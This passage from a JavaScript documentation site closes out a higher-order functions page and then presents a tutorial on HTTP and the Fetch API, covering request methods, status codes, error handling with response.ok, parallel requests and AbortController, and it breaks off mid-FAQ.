[1, 2, 3] ``` </Accordion> <Accordion title="How do closures enable function factories?"> **Answer:** When a function returns another function, the inner function "closes over" variables from the outer function's scope. It remembers them even after the outer function has finished. ```javascript function createMultiplier(factor) { // 'factor' is captured by the returned function return function(number) { return number * factor } } const double = createMultiplier(2) // factor = 2 is remembered const triple = createMultiplier(3) // factor = 3 is remembered console.log(double(5)) // 10 (uses factor = 2) console.log(triple(5)) // 15 (uses factor = 3) ``` Each returned function has its own closure with its own `factor` value. </Accordion> <Accordion title="When should you NOT use higher-order functions?"> **Answer:** Avoid HOFs when: 1. **A simple loop is clearer** for your specific case 2. **Performance is critical** (loops can be faster for simple operations) 3. **The abstraction adds more complexity** than it removes 4. **You're chaining too many operations** making debugging hard ```javascript // Sometimes this is perfectly fine: let sum = 0 for (const n of numbers) { sum += n } // Don't force this just to use HOFs: const sum = numbers.reduce((acc, n) => acc + n, 0) ``` The goal is readable, maintainable code. Use whatever achieves that. </Accordion> <Accordion title="What's the difference between map() and forEach()?"> **Answer:** | Aspect | `map()` | `forEach()` | |--------|---------|-------------| | Returns | New array with transformed elements | `undefined` | | Purpose | Transform data | Perform side effects | | Chainable | Yes | No | | Use when | You need the result | You just want to do something | ```javascript const numbers = [1, 2, 3] // map: transforms and returns new array const doubled = numbers.map(n => n * 2) console.log(doubled) // [2, 4, 6] // forEach: just executes, returns undefined const result = numbers.forEach(n => console.log(n)) console.log(result) // undefined ``` Use `map` when you need the transformed array. Use `forEach` when you just want to do something with each element (like logging or updating external state). </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a higher-order function in JavaScript?"> A higher-order function is any function that takes another function as an argument or returns a function as its result. Built-in examples include `Array.prototype.map()`, `filter()`, and `reduce()`. According to [MDN](https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function), this pattern is possible because JavaScript treats functions as first-class citizens. </Accordion> <Accordion title="What is the difference between a callback and a higher-order function?"> A higher-order function is the function that *receives* or *returns* another function. A callback is the function being *passed in*. For example, in `[1,2,3].map(double)`, `map` is the higher-order function and `double` is the callback. They are two sides of the same pattern. </Accordion> <Accordion title="What are the most common built-in higher-order functions?"> The most widely used are `Array.prototype.map()`, `filter()`, `reduce()`, `forEach()`, `sort()`, and `find()`. The `setTimeout` and `addEventListener` APIs are also higher-order functions because they accept callback arguments. These methods are documented extensively on [MDN's Array reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array). </Accordion> <Accordion title="Why should I use higher-order functions instead of loops?"> Higher-order functions make code more declarative — you describe *what* you want, not *how* to do it step by step. They reduce repetition, minimize off-by-one errors, and produce code that is easier to read and maintain. The Stack Overflow 2023 Developer Survey shows that functional patterns are among the most popular paradigms in the JavaScript ecosystem. </Accordion> <Accordion title="Can I create my own higher-order functions?"> Yes. Any function you write that accepts a function parameter or returns a function qualifies. Function factories, middleware patterns, and decorator functions are all examples of custom higher-order functions you can build to reduce duplication in your own codebase. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> Callbacks are functions passed to higher-order functions </Card> <Card title="Map, Reduce, Filter" icon="filter" href="/concepts/map-reduce-filter"> The most common built-in higher-order functions </Card> <Card title="Pure Functions" icon="sparkles" href="/concepts/pure-functions"> HOFs work best when combined with pure functions </Card> <Card title="Currying & Composition" icon="layer-group" href="/concepts/currying-composition"> Advanced patterns built on top of higher-order functions </Card> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> Closures are what make functions returning functions work </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="First-class Function — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function"> The foundation that makes higher-order functions possible </Card> <Card title="Closures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures"> Essential for understanding functions that return functions </Card> <Card title="Array Methods — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"> Reference for built-in higher-order array methods </Card> <Card title="Functions — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions"> Complete guide to JavaScript functions </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Eloquent JavaScript, Chapter 5" icon="book" href="https://eloquentjavascript.net/05_higher_order.html"> The pea soup analogy and abstraction concepts come from this excellent free book. Includes exercises to practice HOF concepts. </Card> <Card title="Higher Order Functions in JavaScript — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/higher-order-functions-in-javascript-explained/"> Practical examples with shopping carts and user data. Great step-by-step explanations of map, filter, and reduce. </Card> <Card title="JavaScript Array Methods — javascript.info" icon="newspaper" href="https://javascript.info/array-methods"> Comprehensive coverage of all array HOF methods with interactive examples and exercises. </Card> <Card title="Understanding Higher-Order Functions — Sukhjinder Arora" icon="newspaper" href="https://blog.bitsrc.io/understanding-higher-order-functions-in-javascript-75461803bad"> Clear explanations with practical examples showing how to create custom higher-order functions. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Higher Order Functions — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=BMUiFMZr7vk"> Part of the legendary "Functional Programming in JavaScript" series. MPJ's engaging teaching style makes HOFs click. </Card> <Card title="Higher-Order Functions ft. Functional Programming — Akshay Saini" icon="video" href="https://www.youtube.com/watch?v=HkWxvB1RJq0"> Deep dive into HOFs with the calculate function example. Popular in the JavaScript community for its clear explanations. </Card> <Card title="JavaScript Higher Order Functions & Arrays — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=rRgD1yVwIvE"> Practical, project-based approach to understanding map, filter, reduce, and other array HOFs. </Card> </CardGroup> ================================================ FILE: docs/concepts/http-fetch.mdx ================================================ --- title: "HTTP & Fetch API" sidebarTitle: "Fetch API: Making HTTP Requests the Modern Way" description: "Learn the JavaScript Fetch API for HTTP requests. Covers GET, POST, response handling, JSON parsing, and AbortController." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Web Platform" "article:tag": "fetch API, HTTP requests, GET POST, JSON parsing, AbortController, network requests" --- How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API? The answer is the **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)**, JavaScript's modern way to make network requests. According to the HTTP Archive's 2023 Web Almanac, the median web page makes over 70 HTTP requests, making efficient network handling essential for performance. ```javascript // This is how you fetch data in JavaScript const response = await fetch('https://api.example.com/users/1') const user = await response.json() console.log(user.name) // "Alice" ``` But to understand Fetch, you need to understand what's happening underneath: **[HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)**. <Info> **What you'll learn in this guide:** - How HTTP requests and responses work - The five main HTTP methods (GET, POST, PUT, PATCH, DELETE) - How to use the Fetch API to make requests - Reading and parsing JSON responses - The critical difference between network errors and HTTP errors - Modern patterns with async/await - How to cancel requests with AbortController </Info> <Warning> **Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). Fetch is Promise-based, so you'll need those concepts. If you're not comfortable with Promises yet, read that guide first! </Warning> ## What is HTTP? **[HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)** (Hypertext Transfer Protocol) is the foundation of data communication on the web. Originally defined in RFC 2616 and updated through RFC 7230-7235, it defines how messages are formatted and transmitted between clients (like web browsers) and servers. Every time you load a webpage, submit a form, or fetch data with JavaScript, HTTP is the protocol making that exchange possible. <Note> **HTTP is not JavaScript.** HTTP is a language-agnostic protocol. Python, Ruby, Go, Java, and every other language uses it too. We cover HTTP basics in this guide because understanding the protocol helps with using the Fetch API effectively. If you want to dive deeper into HTTP itself, check out the MDN resources below. </Note> <CardGroup cols={2}> <Card title="HTTP — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTTP"> Comprehensive guide to the HTTP protocol </Card> <Card title="An Overview of HTTP — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview"> How HTTP works under the hood </Card> </CardGroup> --- ## The Restaurant Analogy HTTP follows a simple pattern called **request-response**. To understand it, imagine you're at a restaurant: 1. **You place an order** (the request) — "I'd like the pasta, please" 2. **The waiter takes it to the kitchen** (the network) — your order travels to where the food is prepared 3. **The kitchen prepares your meal** (the server) — they process your request and make your food 4. **The waiter brings back your food** (the response) — you receive what you asked for (hopefully!) ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE REQUEST-RESPONSE CYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU (Browser) KITCHEN (Server) │ │ ┌──────────┐ ┌──────────────┐ │ │ │ │ ──── "I'd like pasta" ────► │ │ │ │ │ :) │ (REQUEST) │ [chef] │ │ │ │ │ │ │ │ │ │ │ ◄──── Here you go! ──────── │ │ │ │ │ │ (RESPONSE) │ │ │ │ └──────────┘ └──────────────┘ │ │ │ │ The waiter (HTTP) is the protocol that makes this exchange work! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Sometimes things go wrong: - **The kitchen is closed** (server is down) — You can't even place an order - **They're out of pasta** (404 Not Found) — The order was received, but they can't fulfill it - **Something's wrong in the kitchen** (500 Server Error) — They tried but something broke This request-response cycle is the core of how the web works. The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to participate in this cycle programmatically. --- ## How Does HTTP Work? Before diving into the Fetch API, let's understand the key concepts of HTTP itself. ### The Request-Response Model Every HTTP interaction follows a simple pattern: <Steps> <Step title="Client Sends Request"> Your browser (the client) sends an HTTP request to a server. The request includes what you want (the URL), how you want it (the method), and any additional info (headers, body). </Step> <Step title="Server Processes Request"> The server receives the request, does whatever work is needed (database queries, calculations, etc.), and prepares a response. </Step> <Step title="Server Sends Response"> The server sends back an HTTP response containing a status code (success/failure), headers (metadata), and usually a body (the actual data). </Step> <Step title="Client Handles Response"> Your JavaScript code receives the response and does something with it: display data, show an error, redirect the user, etc. </Step> </Steps> ### HTTP Methods: What Do You Want to Do? HTTP methods tell the server what action you want to perform. Think of them as verbs: | Method | Purpose | Restaurant Analogy | |--------|---------|-------------------| | **GET** | Retrieve data | "Can I see the menu?" | | **POST** | Create new data | "I'd like to place an order" | | **PUT** | Update/replace data | "Actually, change my order to pizza" | | **PATCH** | Partially update data | "Add extra cheese to my order" | | **DELETE** | Remove data | "Cancel my order" | ```javascript // GET - Retrieve a user fetch('/api/users/123') // POST - Create a new user fetch('/api/users', { method: 'POST', body: JSON.stringify({ name: 'Alice' }) }) // PUT - Replace a user fetch('/api/users/123', { method: 'PUT', body: JSON.stringify({ name: 'Alice Updated' }) }) // PATCH - Partially update a user fetch('/api/users/123', { method: 'PATCH', body: JSON.stringify({ name: 'New Name' }) }) // DELETE - Remove a user fetch('/api/users/123', { method: 'DELETE' }) ``` ### HTTP Status Codes: What Happened? Status codes are three-digit numbers that tell you how the request went: <AccordionGroup> <Accordion title="2xx - Success"> The request was received, understood, and accepted. - **200 OK** — Standard success response - **201 Created** — New resource was created (common after POST) - **204 No Content** — Success, but nothing to return (common after DELETE) ```javascript // 200 OK example const response = await fetch('/api/users/123') console.log(response.status) // 200 console.log(response.ok) // true ``` </Accordion> <Accordion title="3xx - Redirection"> The resource has moved somewhere else. - **301 Moved Permanently** — Resource has a new permanent URL - **302 Found** — Temporary redirect - **304 Not Modified** — Use your cached version Fetch follows redirects automatically by default. </Accordion> <Accordion title="4xx - Client Errors"> Something is wrong with your request. - **400 Bad Request** — Malformed request syntax - **401 Unauthorized** — Authentication required - **403 Forbidden** — You don't have permission - **404 Not Found** — Resource doesn't exist - **422 Unprocessable Entity** — Validation failed ```javascript // 404 Not Found example const response = await fetch('/api/users/999999') console.log(response.status) // 404 console.log(response.ok) // false ``` </Accordion> <Accordion title="5xx - Server Errors"> Something went wrong on the server. - **500 Internal Server Error** — Generic server error - **502 Bad Gateway** — Server got invalid response from upstream - **503 Service Unavailable** — Server is overloaded or down for maintenance ```javascript // 500 error example const response = await fetch('/api/broken-endpoint') console.log(response.status) // 500 console.log(response.ok) // false ``` </Accordion> </AccordionGroup> <Tip> **Quick Rule of Thumb:** - **2xx** = "Here's what you asked for" - **3xx** = "Go look over there" - **4xx** = "You messed up" - **5xx** = "We messed up" </Tip> --- ## What is the Fetch API? The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern interface for making HTTP requests. It provides a cleaner, Promise-based alternative to the older **[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)**, letting you send requests to servers and handle responses with simple, readable code. Every modern browser supports Fetch natively. ```javascript // Fetch in its simplest form const response = await fetch('https://api.example.com/data') const data = await response.json() console.log(data) ``` ### Before Fetch: The XMLHttpRequest Days Before Fetch existed, developers used XMLHttpRequest (XHR), a verbose, callback-based API that powered "AJAX" requests. Libraries like **[jQuery](https://jquery.com/)** became popular partly because they simplified this painful process. jQuery was revolutionary for JavaScript. For many years it was the go-to library that made DOM manipulation, animations, and AJAX requests much easier. It changed how developers wrote JavaScript and shaped the modern web. ```javascript // The old way: XMLHttpRequest (verbose and callback-based) const xhr = new XMLHttpRequest() xhr.open('GET', 'https://api.example.com/data') xhr.onload = function() { if (xhr.status === 200) { const data = JSON.parse(xhr.responseText) console.log(data) } } xhr.onerror = function() { console.error('Request failed') } xhr.send() // The modern way: Fetch (clean and Promise-based) const response = await fetch('https://api.example.com/data') const data = await response.json() console.log(data) ``` Unlike XMLHttpRequest, Fetch: - Returns **[Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** instead of using callbacks - Uses **[Request](https://developer.mozilla.org/en-US/docs/Web/API/Request)** and **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** objects for cleaner APIs - Integrates naturally with **async/await** syntax - Supports streaming responses out of the box <Tip> **You no longer need jQuery for AJAX.** The Fetch API is built into every modern browser, making libraries unnecessary for basic HTTP requests. </Tip> --- ## How to Use the Fetch API Now that you understand what Fetch is and how it compares to older approaches, let's dive into the details of using it effectively. ### How to Make a Fetch Request <Steps> <Step title="Call fetch() with a URL"> The `fetch()` function takes a URL and returns a Promise that resolves to a Response object. By default, it makes a GET request. </Step> <Step title="Check if the response was successful"> Always verify `response.ok` before processing. Fetch doesn't throw errors for HTTP status codes like 404 or 500. </Step> <Step title="Parse the response body"> Use `response.json()` for JSON data or `response.text()` for plain text. These methods return another Promise. </Step> <Step title="Handle errors properly"> Wrap everything in try/catch to handle both network failures and HTTP error responses. </Step> </Steps> Here's what this looks like in code. By default, `fetch()` uses the **GET** method, so you don't need to specify it. There are two ways to write this: <Tabs> <Tab title="Promise .then()"> ```javascript // Basic fetch - returns a Promise fetch('https://api.example.com/users') .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)) ``` Let's break this down step by step: ```javascript // Step 1: fetch() returns a Promise that resolves to a Response object const responsePromise = fetch('https://api.example.com/users') // Step 2: When the response arrives, we get a Response object responsePromise.then(response => { console.log(response.status) // 200 console.log(response.ok) // true console.log(response.headers) // Headers object // Step 3: The body is a stream, we need to parse it // .json() returns ANOTHER Promise return response.json() }) .then(data => { // Step 4: Now we have the actual data console.log(data) // { users: [...] } }) ``` </Tab> <Tab title="async/await"> ```javascript // Using async/await - cleaner syntax async function getUsers() { try { const response = await fetch('https://api.example.com/users') const data = await response.json() console.log(data) } catch (error) { console.error('Error:', error) } } ``` Let's break this down step by step: ```javascript async function getUsers() { // Step 1: await pauses until the Response arrives const response = await fetch('https://api.example.com/users') console.log(response.status) // 200 console.log(response.ok) // true console.log(response.headers) // Headers object // Step 2: await again to read and parse the body const data = await response.json() // Step 3: Now we have the actual data console.log(data) // { users: [...] } } ``` </Tab> </Tabs> <Tip> **Which should you use?** `async/await` is generally preferred for its cleaner, more readable syntax. Use `.then()` chains when you need to integrate with older codebases or when you specifically want to avoid async functions. </Tip> ### Understanding the Response Object When `fetch()` resolves, you get a **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object. This object contains everything about the server's reply: status codes, headers, and methods to read the body: ```javascript const response = await fetch('https://api.example.com/users/1') // Status information response.status // 200, 404, 500, etc. response.statusText // "OK", "Not Found", "Internal Server Error" response.ok // true if status is 200-299 // Response metadata response.headers // Headers object response.url // Final URL (after redirects) response.type // "basic", "cors", etc. response.redirected // true if response came from a redirect // Body methods (each returns a Promise) response.json() // Parse body as JSON response.text() // Parse body as plain text response.blob() // Parse body as binary Blob response.formData() // Parse body as FormData response.arrayBuffer() // Parse body as ArrayBuffer response.bytes() // Parse body as Uint8Array ``` <Warning> **Important:** The body can only be read once! If you call `response.json()`, you can't call `response.text()` afterward. If you need to read it multiple times, clone the response first with `response.clone()`. </Warning> ### Reading JSON Data Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format. The Response object has a built-in `.json()` method that parses the body and returns a JavaScript object: ```javascript async function getUser(id) { const response = await fetch(`https://api.example.com/users/${id}`) const user = await response.json() console.log(user.name) // "Alice" console.log(user.email) // "alice@example.com" return user } ``` ### Sending Data with POST So far we've only *retrieved* data. But what about *sending* data, like creating a user account or submitting a form? That's where **[POST](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST)** comes in. It's the HTTP method that tells the server "I'm sending you data to create something new." To make a POST request, you need to specify the method, set a `Content-Type` header, and include your data in the body: ```javascript async function createUser(userData) { const response = await fetch('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(userData) }) const newUser = await response.json() return newUser } // Usage const user = await createUser({ name: 'Bob', email: 'bob@example.com' }) console.log(user.id) // New user's ID from server ``` ### Setting Headers **[HTTP headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)** are metadata you send with your request: things like authentication tokens, content types, and caching instructions. You pass them as an object in the `headers` option: ```javascript const response = await fetch('https://api.example.com/data', { method: 'GET', headers: { // Tell server what format we want 'Accept': 'application/json', // Authentication token 'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...', // Custom header 'X-Custom-Header': 'custom-value' } }) ``` Common headers you'll use: | Header | Purpose | |--------|---------| | `Content-Type` | Format of data you're sending (e.g., `application/json`) | | `Accept` | Format of data you want back | | `Authorization` | Authentication credentials | | `Cache-Control` | Caching instructions | ### Building URLs with Query Parameters When fetching data, you often need to include query parameters (e.g., `/api/search?q=javascript&page=1`). Use the **[URL](https://developer.mozilla.org/en-US/docs/Web/API/URL)** and **[URLSearchParams](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams)** APIs to build URLs safely: ```javascript // Building a URL with query parameters const url = new URL('https://api.example.com/search') url.searchParams.set('q', 'javascript') url.searchParams.set('page', '1') url.searchParams.set('limit', '10') console.log(url.toString()) // "https://api.example.com/search?q=javascript&page=1&limit=10" // Use with fetch const response = await fetch(url) ``` You can also use `URLSearchParams` directly: ```javascript const params = new URLSearchParams({ q: 'javascript', page: '1' }) // Append to a URL string const response = await fetch(`/api/search?${params}`) ``` <Tip> **Why use URL/URLSearchParams instead of string concatenation?** These APIs automatically handle URL encoding for special characters. If a user searches for "C++ tutorial", it becomes `q=C%2B%2B+tutorial`. Something you'd have to handle manually with string concatenation. </Tip> --- ## The #1 Fetch Mistake Here's a mistake almost every developer makes when learning fetch: > "I wrapped my fetch in try/catch, so I'm handling all errors... right?" **Wrong.** The problem? `fetch()` only throws an error when the *network* fails, not when the server returns a 404 or 500. A "Page Not Found" response is still a successful network request from fetch's perspective! ### Two Types of "Errors" When working with `fetch()`, there are two completely different types of failures: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ TWO TYPES OF FAILURES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. NETWORK ERRORS 2. HTTP ERROR RESPONSES │ │ ──────────────────── ─────────────────────── │ │ │ │ • Server unreachable • Server responded with error │ │ • DNS lookup failed • 404 Not Found │ │ • No internet connection • 500 Internal Server Error │ │ • Request timed out • 401 Unauthorized │ │ • CORS blocked • 403 Forbidden │ │ │ │ Promise REJECTS ❌ Promise RESOLVES ✓ │ │ Goes to .catch() response.ok is false │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **The Trap:** `fetch()` only rejects its Promise for network errors. An HTTP 404 or 500 response is still a "successful" fetch. The network request completed! You must check `response.ok` to detect HTTP errors. </Warning> ### The Mistake: Only Catching Network Errors This code looks fine, but it has a subtle bug. HTTP errors like 404 or 500 slip right through the catch block: ```javascript // ❌ WRONG - This misses HTTP errors! try { const response = await fetch('/api/users/999') const data = await response.json() console.log(data) // Might be an error object! } catch (error) { // Only catches NETWORK errors // A 404 response WON'T end up here! console.error('Error:', error) } ``` ### The Fix: Always Check response.ok The solution is simple: check `response.ok` before assuming success. This property is `true` for status codes 200-299 and `false` for everything else: ```javascript // ✓ CORRECT - Check response.ok async function fetchUser(id) { try { const response = await fetch(`/api/users/${id}`) // Check if the HTTP response was successful if (!response.ok) { // HTTP error (4xx, 5xx) - throw to catch block throw new Error(`HTTP error! Status: ${response.status}`) } const data = await response.json() return data } catch (error) { // Now this catches BOTH network errors AND HTTP errors console.error('Fetch failed:', error.message) throw error } } ``` ### Building a Reusable Fetch Helper Here's a pattern you can use in real projects: a wrapper function that handles the `response.ok` check for you: ```javascript async function fetchJSON(url, options = {}) { const response = await fetch(url, { headers: { 'Content-Type': 'application/json', ...options.headers }, ...options }) // Handle HTTP errors if (!response.ok) { const error = new Error(`HTTP ${response.status}: ${response.statusText}`) error.status = response.status error.response = response throw error } // Handle empty responses (like 204 No Content) if (response.status === 204) { return null } return response.json() } // Usage try { const user = await fetchJSON('/api/users/1') console.log(user) } catch (error) { if (error.status === 404) { console.log('User not found') } else if (error.status >= 500) { console.log('Server error, try again later') } else { console.log('Request failed:', error.message) } } ``` --- ## How to Use async/await with Fetch The examples above use `.then()` chains, but modern JavaScript has a cleaner syntax: `async/await`. If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first. It'll make your fetch code much easier to read. ### Basic async/await Pattern ```javascript async function loadUserProfile(userId) { try { const response = await fetch(`/api/users/${userId}`) if (!response.ok) { throw new Error(`Failed to load user: ${response.status}`) } const user = await response.json() return user } catch (error) { console.error('Error loading profile:', error) return null } } // Usage const user = await loadUserProfile(123) if (user) { console.log(`Welcome, ${user.name}!`) } ``` ### Parallel Requests Need to fetch multiple resources? Don't await them one by one: ```javascript // ❌ SLOW - Sequential requests (one after another) async function loadDashboardSlow() { const user = await fetch('/api/user').then(r => r.json()) const posts = await fetch('/api/posts').then(r => r.json()) const notifications = await fetch('/api/notifications').then(r => r.json()) // Total time: user + posts + notifications return { user, posts, notifications } } // ✓ FAST - Parallel requests (all at once) async function loadDashboardFast() { const [user, posts, notifications] = await Promise.all([ fetch('/api/user').then(r => r.json()), fetch('/api/posts').then(r => r.json()), fetch('/api/notifications').then(r => r.json()) ]) // Total time: max(user, posts, notifications) return { user, posts, notifications } } ``` ### Loading States Pattern In real applications, you need to track loading and error states: ```javascript async function fetchWithState(url) { const state = { data: null, loading: true, error: null } try { const response = await fetch(url) if (!response.ok) { throw new Error(`HTTP ${response.status}`) } state.data = await response.json() } catch (error) { state.error = error.message } finally { state.loading = false } return state } // Usage const result = await fetchWithState('/api/users') if (result.loading) { console.log('Loading...') } else if (result.error) { console.log('Error:', result.error) } else { console.log('Data:', result.data) } ``` --- ## How to Cancel Requests The **[AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)** API lets you cancel in-flight fetch requests. This is useful for: - **Timeouts** — Cancel requests that take too long - **User navigation** — Cancel pending requests when user leaves a page - **Search inputs** — Cancel the previous search when user types new characters - **Component cleanup** — Cancel requests when a React/Vue component unmounts Without AbortController, abandoned requests continue running in the background, wasting bandwidth and potentially causing bugs when their responses arrive after you no longer need them. ### How It Works ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ABORTCONTROLLER FLOW │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. Create controller 2. Pass signal to fetch │ │ ┌─────────────────────┐ ┌─────────────────────────────────┐ │ │ │ const controller = │ │ fetch(url, { │ │ │ │ new AbortController│ ───► │ signal: controller.signal │ │ │ └─────────────────────┘ │ }) │ │ │ └─────────────────────────────────┘ │ │ │ │ 3. Call abort() to cancel 4. Fetch rejects with AbortError │ │ ┌─────────────────────┐ ┌─────────────────────────────────┐ │ │ │ controller.abort() │ ───► │ catch (error) { │ │ │ └─────────────────────┘ │ error.name === 'AbortError' │ │ │ │ } │ │ │ └─────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Basic AbortController Usage ```javascript // Create a controller const controller = new AbortController() // Pass its signal to fetch fetch('/api/slow-endpoint', { signal: controller.signal }) .then(response => response.json()) .then(data => console.log(data)) .catch(error => { if (error.name === 'AbortError') { console.log('Request was cancelled') } else { console.error('Request failed:', error) } }) // Cancel the request after 5 seconds setTimeout(() => { controller.abort() }, 5000) ``` ### Timeout Pattern Create a reusable timeout wrapper: ```javascript async function fetchWithTimeout(url, options = {}, timeout = 5000) { const controller = new AbortController() // Set up timeout const timeoutId = setTimeout(() => { controller.abort() }, timeout) try { const response = await fetch(url, { ...options, signal: controller.signal }) clearTimeout(timeoutId) return response } catch (error) { clearTimeout(timeoutId) if (error.name === 'AbortError') { throw new Error(`Request timed out after ${timeout}ms`) } throw error } } // Usage try { const response = await fetchWithTimeout('/api/data', {}, 3000) const data = await response.json() } catch (error) { console.error(error.message) // "Request timed out after 3000ms" } ``` ### Search Input Pattern Cancel previous search when user types: ```javascript let currentController = null async function searchUsers(query) { // Cancel any in-flight request if (currentController) { currentController.abort() } // Create new controller for this request currentController = new AbortController() try { const response = await fetch(`/api/search?q=${query}`, { signal: currentController.signal }) if (!response.ok) throw new Error('Search failed') return await response.json() } catch (error) { if (error.name === 'AbortError') { // Ignore - we cancelled this on purpose return null } throw error } } // As user types, only the last request matters searchInput.addEventListener('input', async (e) => { const results = await searchUsers(e.target.value) if (results) { displayResults(results) } }) ``` <Note> This example uses browser DOM APIs (`addEventListener`, `searchInput`). In Node.js or server-side contexts, you would trigger the search function differently, but the AbortController pattern remains the same. </Note> --- ## Key Takeaways <Info> **The key things to remember:** 1. **HTTP is request-response** — Client sends a request, server sends a response 2. **HTTP methods are verbs** — GET (read), POST (create), PUT (update), DELETE (remove) 3. **Status codes tell you what happened** — 2xx (success), 4xx (your fault), 5xx (server's fault) 4. **Fetch returns a Promise** — It resolves to a Response object, not directly to data 5. **Response.json() is also a Promise** — You need to await it too 6. **Fetch only rejects on network errors** — HTTP 404/500 still "succeeds" — check `response.ok`! 7. **Always check response.ok** — This is the most common fetch mistake 8. **Use async/await** — It's cleaner than Promise chains 9. **Use Promise.all for parallel requests** — Don't await sequentially when you don't have to 10. **AbortController cancels requests** — Useful for search inputs and cleanup </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between a network error and an HTTP error in fetch?"> **Answer:** - **Network errors** occur when the request can't be completed at all — server unreachable, DNS failure, no internet, CORS blocked, etc. These cause the fetch Promise to **reject**. - **HTTP errors** occur when the server responds with an error status code (4xx, 5xx). The request completed successfully (the network worked), so the Promise **resolves**. You must check `response.ok` to detect these. ```javascript try { const response = await fetch('/api/data') // This line runs even for 404, 500, etc.! if (!response.ok) { throw new Error(`HTTP ${response.status}`) } const data = await response.json() } catch (error) { // Now catches both types } ``` </Accordion> <Accordion title="Question 2: Why does response.json() return a Promise?"> **Answer:** The response body is a readable stream that might still be downloading when `fetch()` resolves. The `response.json()` method reads the entire stream and parses it as JSON, which is an asynchronous operation. This is why you need to `await` it: ```javascript const response = await fetch('/api/data') // Response headers arrived const data = await response.json() // Body fully downloaded & parsed ``` The same applies to `response.text()`, `response.blob()`, etc. </Accordion> <Accordion title="Question 3: How do you send JSON data in a POST request?"> **Answer:** You need to: 1. Set the method to 'POST' 2. Set the Content-Type header to 'application/json' 3. Stringify your data in the body ```javascript const response = await fetch('/api/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: 'Alice', email: 'alice@example.com' }) }) ``` </Accordion> <Accordion title="Question 4: What does response.ok mean?"> **Answer:** `response.ok` is a boolean that's `true` if the HTTP status code is in the 200-299 range (success), and `false` otherwise. It's a convenient shorthand for checking if the request succeeded: ```javascript // These are equivalent: if (response.ok) { ... } if (response.status >= 200 && response.status < 300) { ... } ``` Common values: - 200, 201, 204 → `ok` is `true` - 400, 401, 404, 500 → `ok` is `false` </Accordion> <Accordion title="Question 5: How do you cancel a fetch request?"> **Answer:** Use an `AbortController`: ```javascript // 1. Create controller const controller = new AbortController() // 2. Pass its signal to fetch fetch('/api/data', { signal: controller.signal }) .then(r => r.json()) .catch(error => { if (error.name === 'AbortError') { console.log('Cancelled!') } }) // 3. Call abort() to cancel controller.abort() ``` Common use cases: - Timeout implementation - Cancelling when user navigates away - Cancelling previous search when user types new input </Accordion> <Accordion title="Question 6: How do you make multiple fetch requests in parallel?"> **Answer:** Use `Promise.all()` to run requests concurrently: ```javascript // ✓ Parallel - fast const [users, posts, comments] = await Promise.all([ fetch('/api/users').then(r => r.json()), fetch('/api/posts').then(r => r.json()), fetch('/api/comments').then(r => r.json()) ]) // ❌ Sequential - slow (each waits for the previous) const users = await fetch('/api/users').then(r => r.json()) const posts = await fetch('/api/posts').then(r => r.json()) const comments = await fetch('/api/comments').then(r => r.json()) ``` Parallel requests complete in the time of the slowest request, not the sum of all requests. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the Fetch API in JavaScript?"> The Fetch API is JavaScript's modern interface for making HTTP requests. It returns Promises, supports streaming responses, and works with the Request and 